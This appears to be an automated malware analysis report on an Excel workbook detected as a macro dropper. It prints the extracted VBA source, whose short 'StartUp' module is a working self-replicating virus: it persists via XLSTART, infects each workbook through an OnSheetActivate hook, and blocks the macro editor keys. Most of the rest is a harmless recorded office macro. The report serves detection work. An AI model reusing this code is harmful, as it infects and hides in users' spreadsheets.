Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4bc40b80e130afb9…

MALICIOUS

Office (OLE)

399.5 KB Created: 2011-11-11 10:31:42 First seen: 2012-06-30
MD5: 28930faa129b83e0d6f75f13088535e4 SHA-1: 0eee839f97ef2fa367125bd23a1dc8ef4bc4f01c SHA-256: 4bc40b80e130afb997a0404d9611bf36e7c839821d2a6e19443279166bdca290
208 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-1559735 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1559735
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
      If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
      Application.OnSheetActivate = "StartUp.xls!ycop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
      Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 121814 bytes
SHA-256: d2eff1c9cc2b9b820e543c7ca7244a7dc4a7fc86eb3768ecca02eed36e674930
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy Before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub 部門10()
Attribute 部門10.VB_Description = "peggy_chen 在 2011/11/14 錄製的巨集"
Attribute 部門10.VB_ProcData.VB_Invoke_Func = " \n14"
'
' 部門10 Macro
' peggy_chen 在 2011/11/14 錄製的巨集
'

'
    ActiveWorkbook.ShowPivotTableFieldList = False
    Sheets("DB(樞杻)").Select
    Sheets("DB(樞杻)").Copy After:=Sheets(3)
    Sheets("DB(樞杻) (2)").Select
    Sheets("DB(樞杻) (2)").Name = "10"
    Sheets("DB(樞杻)").Select
    ActiveSheet.PivotTables("樞紐分析表2").PivotFields("保管部門").CurrentPage = "10"
    Cells.Select
    Selection.Copy
    Sheets("10").Select
    Cells.Select
    Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
        :=False, Transpose:=False
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 12
    ActiveWindow.ScrollColumn = 13
    ActiveWindow.ScrollColumn = 12
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 1
    Rows("5:125").Select
    Application.CutCopyMode = False
    Selection.Sort Key1:=Range("P5"), Order1:=xlDescending, Key2:=Range("E5") _
        , Order2:=xlDescending, Header:=xlGuess, OrderCustom:=1, MatchCase:= _
        False, Orientation:=xlTopToBottom, SortMethod:=xlStroke, DataOption1:= _
        xlSortNormal, DataOption2:=xlSortNormal
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 12
    ActiveWindow.ScrollColumn = 13
    ActiveWindow.ScrollColumn = 12
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 12
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 1
    Range("A5").Select
    ActiveCell.FormulaR1C1 = "=ROW()-4"
    Range("A5").Select
    Selection.Copy
    Range("A6:A125").Select
    ActiveSheet.Paste
    Range("A12").Select
    ActiveWindow.SmallScroll Down:=0
    Columns("B:B").ColumnWidth = 9.88
    ActiveWindow.SmallScroll Down:=21
    Columns("B:B").ColumnWidth = 11.75
    Columns("B:B").ColumnWidth = 10.38
    ActiveWindow.SmallScroll Down:=-33
    Columns("D:D").ColumnWidth = 5.5
    Columns("E:E").ColumnWidth = 7.5
    ActiveWindow.SmallScroll Down:=108
    Columns("F:F").ColumnWidth = 32.88
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.SmallScroll Down:=-105
    Columns("G:G").ColumnWidth = 27.38
    ActiveWindow.SmallScroll Down:=-27
    Columns("H:H").ColumnWidth = 4.38
    ActiveWindow.SmallScroll Down:=36
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.SmallScroll Down:=-45
    Columns("I:I").ColumnWidth = 25
    ActiveWindow.SmallScroll Down:=24
    Columns("I:I").ColumnWidth = 27.38
    Columns("I:I").ColumnWidth = 31.75
    Columns("I:I").ColumnWidth = 28.88
    ActiveWindow.SmallScroll Down:=63
    Columns("I:I").ColumnWidth = 31.25
    ActiveWindow.SmallScroll Down:=-96
    Columns("J:J").ColumnWidth = 10.25
    ActiveWindow.SmallScroll Down:=27
    Columns("J:J").ColumnWidth = 9.5
    Columns("J:J").ColumnWidth = 8.63
    Columns("J:J").ColumnWidth = 9.13
    Columns("J:J").ColumnWidth = 9.63
    ActiveWindow.SmallScroll Down:=-15
    Columns("K:K").ColumnWidth = 12
    Columns("K:K").ColumnWidth = 10.75
    Columns("K:K").ColumnWidth = 9.75
    Columns("K:K").ColumnWidth = 9.38
    ActiveWindow.SmallScroll Down:=-27
    Columns("L:L").ColumnWidth = 17.63
    ActiveWindow.SmallScroll Down:=0
    Columns("M:M").ColumnWidth = 8.88
    ActiveWindow.SmallScroll Down:=114
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.SmallScroll Down:=96
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 1
    ActiveWindow.SmallScroll Down:=-114
    ActiveWindow.ScrollRow = 117
    ActiveWindow.ScrollRow = 120
    ActiveWindow.ScrollRow = 122
    ActiveWindow.ScrollRow = 127
    ActiveWindow.ScrollRow = 132
    ActiveWindow.ScrollRow = 139
    ActiveWindow.ScrollRow = 149
    ActiveWindow.ScrollRow = 156
    ActiveWindow.ScrollRow = 164
    ActiveWindow.ScrollRow = 171
    ActiveWindow.ScrollRow = 180
    ActiveWindow.ScrollRow = 188
    ActiveWindow.ScrollRow = 195
    ActiveWindow.ScrollRow = 205
    ActiveWindow.ScrollRow = 219
    ActiveWindow.ScrollRow = 231
    ActiveWindow.ScrollRow = 246
    ActiveWindow.ScrollRow = 261
    ActiveWindow.ScrollRow = 275
    ActiveWindow.ScrollRow = 292
    ActiveWindow.ScrollRow = 311
    ActiveWindow.ScrollRow = 331
    ActiveWindow.ScrollRow = 350
    ActiveWindow.ScrollRow = 370
    ActiveWindow.ScrollRow = 394
    ActiveWindow.ScrollRow = 413
    ActiveWindow.ScrollRow = 433
    ActiveWindow.ScrollRow = 450
    ActiveWindow.ScrollRow = 469
    ActiveWindow.ScrollRow = 489
    ActiveWindow.ScrollRow = 508
    ActiveWindow.ScrollRow = 525
    ActiveWindow.ScrollRow = 542
    ActiveWindow.ScrollRow = 556
    ActiveWindow.ScrollRow = 571
    ActiveWindow.ScrollRow = 581
    ActiveWindow.ScrollRow = 595
    ActiveWindow.ScrollRow = 610
    ActiveWindow.ScrollRow = 622
    ActiveWindow.ScrollRow = 639
    ActiveWindow.ScrollRow = 651
    ActiveWindow.ScrollRow = 666
    ActiveWindow.ScrollRow = 678
    ActiveWindow.ScrollRow = 695
    ActiveWindow.ScrollRow = 709
    ActiveWindow.ScrollRow = 721
    ActiveWindow.ScrollRow = 738
    ActiveWindow.ScrollRow = 758
    ActiveWindow.ScrollRow = 780
    ActiveWindow.ScrollRow = 799
    ActiveWindow.ScrollRow = 823
    ActiveWindow.ScrollRow = 847
    ActiveWindow.ScrollRow = 867
    ActiveWindow.ScrollRow = 894
    ActiveWindow.ScrollRow = 913
    ActiveWindow.ScrollRow = 932
    ActiveWindow.ScrollRow = 952
    ActiveWindow.ScrollRow = 969
    ActiveWindow.ScrollRow = 981
    ActiveWindow.ScrollRow = 993
    ActiveWindow.ScrollRow = 1003
    ActiveWindow.ScrollRow = 1012
    ActiveWindow.ScrollRow = 1022
    ActiveWindow.ScrollRow = 1029
    ActiveWindow.ScrollRow = 1039
    ActiveWindow.ScrollRow = 1046
    ActiveWindow.ScrollRow = 1056
    ActiveWindow.ScrollRow = 1068
    ActiveWindow.ScrollRow = 1078
    ActiveWindow.ScrollRow = 1088
    ActiveWindow.ScrollRow = 1095
    ActiveWindow.ScrollRow = 1105
    ActiveWindow.ScrollRow = 1114
    ActiveWindow.ScrollRow = 1122
    ActiveWindow.ScrollRow = 1134
    ActiveWindow.ScrollRow = 1143
    ActiveWindow.ScrollRow = 1151
    ActiveWindow.ScrollRow = 1165
    ActiveWindow.ScrollRow = 1180
    ActiveWindow.ScrollRow = 1192
    ActiveWindow.ScrollRow = 1206
    ActiveWindow.ScrollRow = 1216
    ActiveWindow.ScrollRow = 1231
    ActiveWindow.ScrollRow = 1240
    ActiveWindow.ScrollRow = 1250
    ActiveWindow.ScrollRow = 1257
    ActiveWindow.ScrollRow = 1267
    ActiveWindow.ScrollRow = 1277
    ActiveWindow.ScrollRow = 1282
    ActiveWindow.ScrollRow = 1289
    ActiveWindow.ScrollRow = 1294
    ActiveWindow.ScrollRow = 1299
    ActiveWindow.ScrollRow = 1301
    ActiveWindow.ScrollRow = 115
    ActiveWindow.ScrollRow = 1301
    ActiveWindow.ScrollRow = 1291
    ActiveWindow.ScrollRow = 1282
    ActiveWindow.ScrollRow = 1269
    ActiveWindow.ScrollRow = 1262
    ActiveWindow.ScrollRow = 1252
    ActiveWindow.ScrollRow = 1238
    ActiveWindow.ScrollRow = 1226
    ActiveWindow.ScrollRow = 1216
    ActiveWindow.ScrollRow = 1206
    ActiveWindow.ScrollRow = 1194
    ActiveWindow.ScrollRow = 1185
    ActiveWindow.ScrollRow = 1170
    ActiveWindow.ScrollRow = 1163
    ActiveWindow.ScrollRow = 1151
    ActiveWindow.ScrollRow = 1141
    ActiveWindow.ScrollRow = 1131
    ActiveWindow.ScrollRow = 1124
    ActiveWindow.ScrollRow = 1117
    ActiveWindow.ScrollRow = 1109
    ActiveWindow.ScrollRow = 1100
    ActiveWindow.ScrollRow = 1092
    ActiveWindow.ScrollRow = 1085
    ActiveWindow.ScrollRow = 1078
    ActiveWindow.ScrollRow = 1073
    ActiveWindow.ScrollRow = 1066
    ActiveWindow.ScrollRow = 1061
    ActiveWindow.ScrollRow = 1054
    ActiveWindow.ScrollRow = 1049
    ActiveWindow.ScrollRow = 1041
    ActiveWindow.ScrollRow = 1034
    ActiveWindow.ScrollRow = 1029
    ActiveWindow.ScrollRow = 1025
    ActiveWindow.ScrollRow = 1020
    ActiveWindow.ScrollRow = 1017
    ActiveWindow.ScrollRow = 1015
    ActiveWindow.ScrollRow = 1012
    ActiveWindow.ScrollRow = 1008
    ActiveWindow.ScrollRow = 1003
    ActiveWindow.ScrollRow = 1000
    ActiveWindow.ScrollRow = 995
    ActiveWindow.ScrollRow = 991
    ActiveWindow.ScrollRow = 983
    ActiveWindow.ScrollRow = 978
    ActiveWindow.ScrollRow = 971
    ActiveWindow.ScrollRow = 966
    ActiveWindow.ScrollRow = 957
    ActiveWindow.ScrollRow = 947
    ActiveWindow.ScrollRow = 935
    ActiveWindow.ScrollRow = 923
    ActiveWindow.ScrollRow = 908
    ActiveWindow.ScrollRow = 894
    ActiveWindow.ScrollRow = 881
    ActiveWindow.ScrollRow = 864
    ActiveWindow.ScrollRow = 852
    ActiveWindow.ScrollRow = 840
    ActiveWindow.ScrollRow = 826
    ActiveWindow.ScrollRow = 814
    ActiveWindow.ScrollRow = 801
    ActiveWindow.ScrollRow = 792
    ActiveWindow.ScrollRow = 782
    ActiveWindow.ScrollRow = 775
    ActiveWindow.ScrollRow = 765
    ActiveWindow.ScrollRow = 758
    ActiveWindow.ScrollRow = 750
    ActiveWindow.ScrollRow = 746
    ActiveWindow.ScrollRow = 738
    ActiveWindow.ScrollRow = 731
    ActiveWindow.ScrollRow = 726
    ActiveWindow.ScrollRow = 719
    ActiveWindow.ScrollRow = 714
    ActiveWindow.ScrollRow = 704
    ActiveWindow.ScrollRow = 697
    ActiveWindow.ScrollRow = 687
    ActiveWindow.ScrollRow = 678
    ActiveWindow.ScrollRow = 666
    ActiveWindow.ScrollRow = 656
    ActiveWindow.ScrollRow = 644
    ActiveWindow.ScrollRow = 632
    ActiveWindow.ScrollRow = 622
    ActiveWindow.ScrollRow = 615
    ActiveWindow.ScrollRow = 607
    ActiveWindow.ScrollRow = 600
    ActiveWindow.ScrollRow = 593
    ActiveWindow.ScrollRow = 586
    ActiveWindow.ScrollRow = 581
    ActiveWindow.ScrollRow = 573
    ActiveWindow.ScrollRow = 566
    ActiveWindow.ScrollRow = 556
    ActiveWindow.ScrollRow = 544
    ActiveWindow.ScrollRow = 530
    ActiveWindow.ScrollRow = 520
    ActiveWindow.ScrollRow = 505
    ActiveWindow.ScrollRow = 496
    ActiveWindow.ScrollRow = 489
    ActiveWindow.ScrollRow = 481
    ActiveWindow.ScrollRow = 476
    ActiveWindow.ScrollRow = 474
    ActiveWindow.ScrollRow = 469
    ActiveWindow.ScrollRow = 464
    ActiveWindow.ScrollRow = 462
    ActiveWindow.ScrollRow = 455
    ActiveWindow.ScrollRow = 447
    ActiveWindow.ScrollRow = 442
    ActiveWindow.ScrollRow = 435
    ActiveWindow.ScrollRow = 433
    ActiveWindow.ScrollRow = 425
    ActiveWindow.ScrollRow = 423
    ActiveWindow.ScrollRow = 421
    ActiveWindow.ScrollRow = 418
    ActiveWindow.ScrollRow = 416
    ActiveWindow.ScrollRow = 413
    ActiveWindow.ScrollRow = 408
    ActiveWindow.ScrollRow = 406
    ActiveWindow.ScrollRow = 404
    ActiveWindow.ScrollRow = 399
    ActiveWindow.ScrollRow = 394
    ActiveWindow.ScrollRow = 387
    ActiveWindow.ScrollRow = 379
    ActiveWindow.ScrollRow = 375
    ActiveWindow.ScrollRow = 370
    ActiveWindow.ScrollRow = 367
    ActiveWindow.ScrollRow = 362
    ActiveWindow.ScrollRow = 355
    ActiveWindow.ScrollRow = 350
    ActiveWindow.ScrollRow = 338
    ActiveWindow.ScrollRow = 328
    ActiveWindow.ScrollRow = 319
    ActiveWindow.ScrollRow = 307
    ActiveWindow.ScrollRow = 297
    ActiveWindow.ScrollRow = 290
    ActiveWindow.ScrollRow = 282
    ActiveWindow.ScrollRow = 275
    ActiveWindow.ScrollRow = 268
    ActiveWindow.ScrollRow = 263
    ActiveWindow.ScrollRow = 258
    ActiveWindow.ScrollRow = 253
    ActiveWindow.ScrollRow = 246
    ActiveWindow.ScrollRow = 241
    ActiveWindow.ScrollRow = 231
    ActiveWindow.ScrollRow = 222
    ActiveWindow.ScrollRow = 210
    ActiveWindow.ScrollRow = 197
    ActiveWindow.ScrollRow = 185
    ActiveWindow.ScrollRow = 171
    ActiveWindow.ScrollRow = 156
    ActiveWindow.ScrollRow = 147
    ActiveWindow.ScrollRow = 132
    ActiveWindow.ScrollRow = 125
    ActiveWindow.ScrollRow = 115
    ActiveWindow.ScrollRow = 108
    ActiveWindow.ScrollRow = 98
    ActiveWindow.ScrollRow = 86
    ActiveWindow.ScrollRow = 74
    ActiveWindow.ScrollRow = 64
    ActiveWindow.ScrollRow = 57
    ActiveWindow.ScrollRow = 45
    ActiveWindow.ScrollRow = 37
    ActiveWindow.ScrollRow = 33
    ActiveWindow.ScrollRow = 28
    ActiveWindow.ScrollRow = 25
    ActiveWindow.ScrollRow = 23
    ActiveWindow.ScrollRow = 20
    ActiveWindow.ScrollRow = 18
    ActiveWindow.ScrollRow = 16
    ActiveWindow.ScrollRow = 11
    ActiveWindow.ScrollRow = 8
    ActiveWindow.ScrollRow = 6
    ActiveWindow.ScrollRow = 1
    ActiveWindow.ScrollRow = 3
    ActiveWindow.ScrollRow = 6
    ActiveWindow.ScrollRow = 8
    ActiveWindow.ScrollRow = 11
    ActiveWindow.ScrollRow = 13
    ActiveWindow.ScrollRow = 16
    ActiveWindow.ScrollRow = 18
    ActiveWindow.ScrollRow = 20
    ActiveWindow.ScrollRow = 23
    ActiveWindow.ScrollRow = 25
    ActiveWindow.ScrollRow = 28
    ActiveWindow.ScrollRow = 33
    ActiveWindow.ScrollRow = 35
    ActiveWindow.ScrollRow = 37
    ActiveWindow.ScrollRow = 40
    ActiveWindow.ScrollRow = 42
    ActiveWindow.ScrollRow = 45
    ActiveWindow.ScrollRow = 47
    ActiveWindow.ScrollRow = 50
    ActiveWindow.ScrollRow = 52
    ActiveWindow.ScrollRow = 54
    ActiveWindow.ScrollRow = 57
    ActiveWindow.ScrollRow = 62
    ActiveWindow.ScrollRow = 66
    ActiveWindow.ScrollRow = 69
    ActiveWindow.ScrollRow = 71
    ActiveWindow.ScrollRow = 76
    ActiveWindow.ScrollRow = 79
    ActiveWindow.ScrollRow = 83
    ActiveWindow.ScrollRow = 86
    ActiveWindow.ScrollRow = 88
    ActiveWindow.ScrollRow = 93
    ActiveWindow.ScrollRow = 96
    ActiveWindow.ScrollRow = 98
    ActiveWindow.ScrollRow = 100
    ActiveWindow.ScrollRow = 103
    ActiveWindow.ScrollRow = 105
    ActiveWindow.ScrollRow = 108
    ActiveWindow.ScrollRow = 110
    ActiveWindow.ScrollRow = 113
    ActiveWindow.ScrollRow = 115
    ActiveWindow.ScrollRow = 117
    ActiveWindow.ScrollRow = 120
    ActiveWindow.ScrollRow = 122
    ActiveWindow.ScrollRow = 125
    ActiveWindow.ScrollRow = 127
    ActiveWindow.ScrollRow = 132
    ActiveWindow.ScrollRow = 134
    ActiveWindow.ScrollRow = 139
    ActiveWindow.ScrollRow = 142
    ActiveWindow.ScrollRow = 139
    ActiveWindow.ScrollRow = 137
    ActiveWindow.ScrollRow = 134
    ActiveWindow.ScrollRow = 132
    ActiveWindow.ScrollRow = 130
    ActiveWindow.ScrollRow = 127
    ActiveWindow.ScrollRow = 125
    ActiveWindow.ScrollRow = 122
    ActiveWindow.ScrollRow = 120
    ActiveWindow.ScrollRow = 117
    ActiveWindow.ScrollRow = 115
    ActiveWindow.ScrollRow = 113
    ActiveWindow.ScrollRow = 110
    ActiveWindow.ScrollRow = 108
    ActiveWindow.ScrollRow = 110
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 1
    Range("E1224").Select
    ActiveWindow.ScrollRow = 1209
    ActiveWindow.ScrollRow = 1211
    ActiveWindow.ScrollRow = 1214
    ActiveWindow.ScrollRow = 1216
    ActiveWindow.ScrollRow = 1221
    ActiveWindow.ScrollRow = 1226
    ActiveWindow.ScrollRow = 1233
    ActiveWindow.ScrollRow = 1236
    ActiveWindow.ScrollRow = 1240
    ActiveWindow.ScrollRow = 1245
    ActiveWindow.ScrollRow = 1248
    ActiveWindow.ScrollRow = 1250
    ActiveWindow.ScrollRow = 1252
    ActiveWindow.ScrollRow = 1255
    ActiveWindow.ScrollRow = 1257
    ActiveWindow.ScrollRow = 1262
    ActiveWindow.ScrollRow = 1265
    ActiveWindow.ScrollRow = 1269
    ActiveWindow.ScrollRow = 1274
    ActiveWindow.ScrollRow = 1277
    ActiveWindow.ScrollRow = 1279
    ActiveWindow.ScrollRow = 1284
    ActiveWindow.ScrollRow = 1289
    ActiveWindow.ScrollRow = 1291
    ActiveWindow.ScrollRow = 1294
    ActiveWindow.ScrollRow = 1296
    ActiveWindow.ScrollRow = 1299
    ActiveWindow.ScrollRow = 1301
    Rows("126:1325").Select
    Range("A1325").Activate
    Application.CutCopyMode = False
    Selection.ClearContents
    Selection.Borders(xlDiagonalDown).LineStyle = xlNone
    Selection.Borders(xlDiagonalUp).LineStyle = xlNone
    Selection.Borders(xlEdgeLeft).LineStyle = xlNone
    Selection.Borders(xlEdgeTop).LineStyle = xlNone
    Selection.Borders(xlEdgeBottom).LineStyle = xlNone
    Selection.Borders(xlEdgeRight).LineStyle = xlNone
    Selection.Borders(xlInsideVertical).LineStyle = xlNone
    Selection.Borders(xlInsideHorizontal).LineStyle = xlNone
    ActiveWindow.SmallScroll Down:=-102
    ActiveWindow.ScrollRow = 1209
    ActiveWindow.ScrollRow = 1202
    ActiveWindow.ScrollRow = 1192
    ActiveWindow.ScrollRow = 1182
    ActiveWindow.ScrollRow = 1170
    ActiveWindow.ScrollRow = 1153
    ActiveWindow.ScrollRow = 1136
    ActiveWindow.ScrollRow = 1117
    ActiveWindow.ScrollRow = 1097
    ActiveWindow.ScrollRow = 1078
    ActiveWindow.ScrollRow = 1061
    ActiveWindow.ScrollRow = 1039
    ActiveWindow.ScrollRow = 1017
    ActiveWindow.ScrollRow = 998
    ActiveWindow.ScrollRow = 981
    ActiveWindow.ScrollRow = 964
    ActiveWindow.ScrollRow = 949
    ActiveWindow.ScrollRow = 937
    ActiveWindow.ScrollRow = 927
    ActiveWindow.ScrollRow = 920
    ActiveWindow.ScrollRow = 911
    ActiveWindow.ScrollRow = 906
    ActiveWindow.ScrollRow = 896
    ActiveWindow.ScrollRow = 884
    ActiveWindow.ScrollRow = 869
    ActiveWindow.ScrollRow = 852
    ActiveWindow.ScrollRow = 838
    ActiveWindow.ScrollRow = 823
    ActiveWindow.ScrollRow = 806
    ActiveWindow.ScrollRow = 794
    ActiveWindow.ScrollRow = 780
    ActiveWindow.ScrollRow = 770
    ActiveWindow.ScrollRow = 755
    ActiveWindow.ScrollRow = 743
    ActiveWindow.ScrollRow = 726
    ActiveWindow.ScrollRow = 704
    ActiveWindow.ScrollRow = 680
    ActiveWindow.ScrollRow = 658
    ActiveWindow.ScrollRow = 632
    ActiveWindow.ScrollRow = 610
    ActiveWindow.ScrollRow = 588
    ActiveWindow.ScrollRow = 576
    ActiveWindow.ScrollRow = 569
    ActiveWindow.ScrollRow = 561
    ActiveWindow.ScrollRow = 559
    ActiveWindow.ScrollRow = 552
    ActiveWindow.ScrollRow = 542
    ActiveWindow.ScrollRow = 535
    ActiveWindow.ScrollRow = 525
    ActiveWindow.ScrollRow = 513
    ActiveWindow.ScrollRow = 505
    ActiveWindow.ScrollRow = 496
    ActiveWindow.ScrollRow = 493
    ActiveWindow.ScrollRow = 491
    ActiveWindow.ScrollRow = 489
    ActiveWindow.ScrollRow = 484
    ActiveWindow.ScrollRow = 481
    ActiveWindow.ScrollRow = 479
    ActiveWindow.ScrollRow = 472
    ActiveWindow.ScrollRow = 467
    ActiveWindow.ScrollRow = 457
    ActiveWindow.ScrollRow = 445
    ActiveWindow.ScrollRow = 430
    ActiveWindow.ScrollRow = 423
    ActiveWindow.ScrollRow = 416
    ActiveWindow.ScrollRow = 411
    ActiveWindow.ScrollRow = 408
    ActiveWindow.ScrollRow = 401
    ActiveWindow.ScrollRow = 399
    ActiveWindow.ScrollRow = 391
    ActiveWindow.ScrollRow = 384
    ActiveWindow.ScrollRow = 375
    ActiveWindow.ScrollRow = 365
    ActiveWindow.ScrollRow = 353
    ActiveWindow.ScrollRow = 348
    ActiveWindow.ScrollRow = 343
    ActiveWindow.ScrollRow = 341
    ActiveWindow.ScrollRow = 338
    ActiveWindow.ScrollRow = 336
    ActiveWindow.ScrollRow = 333
    ActiveWindow.ScrollRow = 331
    ActiveWindow.ScrollRow = 326
    ActiveWindow.ScrollRow = 324
    ActiveWindow.ScrollRow = 321
    ActiveWindow.ScrollRow = 314
    ActiveWindow.ScrollRow = 309
    ActiveWindow.ScrollRow = 307
    ActiveWindow.ScrollRow = 304
    ActiveWindow.ScrollRow = 302
    ActiveWindow.ScrollRow = 299
    ActiveWindow.ScrollRow = 294
    ActiveWindow.ScrollRow = 292
    ActiveWindow.ScrollRow = 287
    ActiveWindow.ScrollRow = 282
    ActiveWindow.ScrollRow = 277
    ActiveWindow.ScrollRow = 270
    ActiveWindow.ScrollRow = 263
    ActiveWindow.ScrollRow = 258
    ActiveWindow.ScrollRow = 256
    ActiveWindow.ScrollRow = 253
    ActiveWindow.ScrollRow = 251
    ActiveWindow.ScrollRow = 248
    ActiveWindow.ScrollRow = 246
    ActiveWindow.ScrollRow = 244
    ActiveWindow.ScrollRow = 241
    ActiveWindow.ScrollRow = 236
    ActiveWindow.ScrollRow = 234
    ActiveWindow.ScrollRow = 229
    ActiveWindow.ScrollRow = 227
    ActiveWindow.ScrollRow = 224
    ActiveWindow.ScrollRow = 219
    ActiveWindow.ScrollRow = 217
    ActiveWindow.ScrollRow = 214
    ActiveWindow.ScrollRow = 212
    ActiveWindow.ScrollRow = 210
    ActiveWindow.ScrollRow = 207
    ActiveWindow.ScrollRow = 205
    ActiveWindow.ScrollRow = 202
    ActiveWindow.ScrollRow = 200
    ActiveWindow.ScrollRow = 195
    ActiveWindow.ScrollRow = 193
    ActiveWindow.ScrollRow = 190
    ActiveWindow.ScrollRow = 188
    ActiveWindow.ScrollRow = 185
    ActiveWindow.ScrollRow = 183
    ActiveWindow.ScrollRow = 180
    ActiveWindow.ScrollRow = 178
    ActiveWindow.ScrollRow = 176
    ActiveWindow.ScrollRow = 173
    ActiveWindow.ScrollRow = 171
    ActiveWindow.ScrollRow = 168
    ActiveWindow.ScrollRow = 166
